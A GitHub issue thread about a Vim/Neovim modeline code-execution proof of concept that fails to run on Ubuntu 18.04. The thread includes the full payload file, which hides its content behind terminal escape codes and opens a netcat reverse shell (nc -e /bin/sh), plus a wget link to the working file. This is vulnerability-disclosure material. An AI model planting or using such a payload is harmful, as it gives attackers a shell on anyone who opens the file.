numirias / security

Some of my security stuff and vulnerabilities. Nothing advanced. More to come.

Home Page:https://twitter.com/rawsec

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

poc2 can`t run properly on ubuntu 18.04

Maskhe opened this issue · comments

I got this

cat shell.txt

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

vim shell.txt
"shell.txt" 1L, 264C
处理 modelines 时发生错误:
第 1 行:
E518: 未知的选项: \|\

The poc in the write-up has non-printables and some special chars escaped for readability. Try with the exact file from here: https://github.com/numirias/security/blob/master/data/2019-06-04_ace-vim-neovim/shell.txt

commented

You can download this file using wget
wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
it reaaaaaally works!